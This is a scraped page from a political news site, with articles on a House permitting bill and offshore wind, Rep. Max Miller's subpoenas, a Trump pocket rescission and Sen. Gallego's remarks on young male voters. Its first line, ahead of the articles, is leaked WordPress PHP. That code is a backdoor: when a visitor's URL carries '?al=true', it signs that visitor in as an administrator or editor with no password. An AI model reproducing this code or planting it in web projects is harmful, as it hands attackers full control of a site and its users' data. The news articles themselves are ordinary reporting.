// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Offshore wind foes want to drag Trump into permitting bill spat – Blue Light News
Connect with us

Congress

Offshore wind foes want to drag Trump into permitting bill spat

Published

on

A group of House Republicans is trying to bait President Donald Trump into the permitting wars on Capitol Hill, arguing that legislation up for a vote as soon as next week could green-light something he hates with fury: offshore wind power.

Natural Resources Chair Bruce Westerman (R-Ark.) wants the House to pass his bill that would accelerate energy projects of all kinds, which would give him leverage in expected negotiations with the Senate in the coming months on overhauling the federal permitting process.

But the legislation has drawn sharp opposition from conservatives who claim it could benefit renewable energy projects already benefitting from tax incentives, plus limit the Trump administration’s ability to block projects like offshore wind.

“Believe me, nobody hates wind turbines more than me — except the president of the United States,” said Rep. Jeff Van Drew (R-N.J.). “We all need assurances.”

He paused, and added: “Assurances sometimes just aren’t good enough.”

Van Drew and Reps. Chris Smith (R-N.J.) teamed up with House Freedom Caucus Chair Andy Harris (R-Md.) in writing a letter to Trump this week that warned the Westerman bill — which passed out of committee with bipartisan support — “undermines your stated policy agenda of rightfully ending offshore wind development and other ‘Green New Scam’ projects approved under the poor leadership of the Biden Administration, particularly development off the Atlantic Coast.”

They are mainly concerned about language added to the bill during the recent Natural Resources markup of the Westerman measure that could limit the administration’s ability to scrap an already-issued permit — a provision members on both sides of the aisle support.

Van Drew said in an interview he had heard that the White House wanted to make sure the legislation would not promote offshore wind, which could make this bipartisan amendment problematic in a final product.

But Westerman and other lawmakers want any permitting overhaul bill to be “technology neutral” after criticizing Democrats for putting policies in place that would benefit renewable energy.

Westerman defended his product Wednesday, saying the White House has been briefed and is “well aware of where we are.”

He added, “I expect the administration to still support the bill. I haven’t gotten any indication the administration isn’t supportive of the bill.”

A White House spokesperson did not return a request for comment.

Rep. Chip Roy (R-Texas), one of the House’s most conservative voices, has also expressed reservations about the Westerman legislation.

“I don’t want to fast-track any of the wind and solar. It’s still not a neutral playing field because it’s subsidized,” said Roy, who pushed — unsuccessfully — for the immediate repeal of renewable energy credits in the GOP megabill enacted over the summer.

Although some Democrats support the bill — including co-sponsor Jared Golden of Maine — others want stronger language to prevent the president from scrapping permits, among other changes.

The League of Conservation Voters is urging lawmakers to vote “no,” arguing that “the biggest problem right now is the fact the Trump administration is not allowing any wind, solar or battery projects to move forward in the permitting process.”

This means opposition from even a handful of Republicans could tank a vote on a procedural rule to take up the bill on the chamber floor, which are typically party-line affairs.

Westerman said earlier this week that he was looking to meet with bill critics. Indeed, he was seen chatting with Smith on the House floor Wednesday afternoon.

“Hopefully we’ll work through it and get to a point where we can get the bill on the floor and get a good vote on it,” Westerman said.

Reporters Josh Siegel and Nico Portuondo contributed to this report.

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Congress

Max Miller subpoenas ex-father-in-law Bernie Moreno

Published

on

Rep. Max Miller issued a subpoena to his former father-in-law and fellow Ohio Republican, Sen. Bernie Moreno, in the latest escalation of a long-running family legal drama.

Pamela MacAdams, an attorney for Miller, reported to the Cuyahoga County Domestic Relations Court Monday that three subpoenas were served in Miller’s divorce case, according to court records. A person with knowledge of the subpoenas granted anonymity to comment on them said that two were sent to Moreno and his wife, Bridget.

Their daughter, Emily Moreno, was married to Miller, and the two remain embroiled in a nasty legal battle.

Spokespeople for Miller, Emily Moreno and Bernie Moreno did not immediately return requests for comment. TMZ first reported on the subpoenas.

Miller is seeking reelection in a competitive district, and his campaign has been marred by accusations of domestic abuse against Emily Moreno and their daughter. Miller has repeatedly denied the allegations and chose to remain in the race despite other Republican lawmakers pressuring him to withdraw his campaign.

The House Ethics Committee, which began an inquiry into Miller after Miller asked to be investigated, is currently in a preelection blackout period. During that period, which will continue through the midterms, the Ethics Committee doesn’t take any action against sitting members who could return next Congress.

Continue Reading

Congress

Trump declares $1B canceled in ‘pocket rescission’ in another affront to Congress’ funding power

Published

on

President Donald Trump informed congressional leaders Friday that he has unilaterally canceled almost $1 billion without Congress’ consent — employing a budget maneuver many lawmakers consider illegal.

In a move that will almost certainly set up an ugly government funding battle after the midterms, Trump has again claimed the power to execute a so-called “pocket rescission” to nix money Congress has already enacted. The money his administration will claw back is for for immigration services, support to foreign countries, education programs, health research efforts and assistance for businesses owned by minorities.

By law, the president is allowed to send Congress a request to rescind federal funding, then withhold that money for 45 days while lawmakers consider whether to approve, reject or ignore it. Trump administration officials also argue they have the power to cancel funding without any congressional action by sending Congress a rescission request with less than 45 days left in the fiscal year. The argument is that the money automatically gets canceled on Sept. 30, when funding lapses at the end of the fiscal year.

Last year, Trump canceled $4.9 billion in foreign aid.

The Senate’s top Republican appropriator, Sen. Susan Collins of Maine, immediately blasted the move as illegal, saying in a statement Friday night that “any effort to rescind appropriated funds without congressional approval is a clear violation of the law.”

“This move shows that OMB intentionally withheld these funds for months to execute this unlawful cancellation of appropriations that were approved on a bipartisan basis and signed into law,” Collins added, pledging to work with other lawmakers “to address these illegal actions.”

Collins and other appropriators have already been on high alert in recent days, pressing multiple agencies about funding officials have yet to spend ahead of the expiration date.

Continue Reading

Congress

Gallego grades Democrats on their midterm messaging to men

Published

on

Democrats are finally catching on to how to talk to young male voters in the lead-up to the midterms, but the party can still up its game, one battleground senator and potential 2028er said Friday.

Sen. Ruben Gallego (D-Ariz.) has been one of his party’s most outspoken critics on its handling of outreach to young men, who swung right and helped deliver the White House and both chambers of Congress to Republicans in 2024.

The party is now “definitely moving in the right direction,” Gallego said Friday.

“Like back in the day, I was like the only one,” putting out positions on men, Gallego said at a Washington event on young American men. “Now, like, it seems like everyone every week is coming out with a new position, new idea, which is great.”

Gallego has criticized Democrat’s failure to highlight mens’ struggles and their tendency to over-police mens’ ideas. But there are signs the political winds have shifted in his party’s favor.

A new Cygnal poll released with the event of men ages 18-30 who say they’re the most determined to vote revealed Democrats’ generic ballot lead over Republicans at 57%-40%, Blue Light News reported. The poll also said nearly 40 percent of respondents said they feel their lives are off track.

“We need to take the opportunity to invest in that portion of this country, to say that we care about them and actually try to change the trajectory of what’s happening with men in this country,” Gallego said at the symposium.

Still, the path for specific legislation targeting the needs of this demographic faces an incredibly tight calendar this Congress and is uncertain in the political landscape of next year.

A proposal from Gallego and Sen. Roger Marshall (R-Kan.) to establish a men’s health office within the Department of Health and Human Services, for example, has not advanced. Nor has bipartisan legislation from Sen. Bill Cassidy (R-La.), who also spoke at the event, targeting education outcomes, college investment transparency and dyslexic student support.

Continue Reading

Trending